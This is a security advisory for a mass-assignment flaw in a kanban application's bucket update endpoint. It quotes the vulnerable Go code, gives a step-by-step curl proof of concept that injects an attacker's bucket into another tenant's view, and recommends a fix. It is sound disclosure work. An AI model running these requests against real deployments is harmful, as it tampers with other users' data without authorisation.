OSV 1.4.0 · github-reviewed · 修改于 2026-08-29 00:55
发布时间
2026-08-29 00:55
GitHub 审查时间
2026-08-29 00:55
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-569v-q83c-3j3g/GHSA-569v-q83c-3j3g.json
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
pkg/models/kanban.go (lines 348-359):
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ?", b.ID).
Cols(
"title",
"limit",
"position",
"project_view_id", // mass-assigned from the request body
).
Update(b)
return
}
Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7
Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so passes; the body field is written through without further checks.
CanUpdatecurl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
# "id": 7,
# "title": "PWNED BUCKET",
# "project_view_id": 4
# }
Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
-H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
# {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
# {"id":1,"title":"To-Do","created_by":"victim"},
# {"id":2,"title":"Doing","created_by":"victim"},
# {"id":3,"title":"Done","created_by":"victim"}
# ]
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.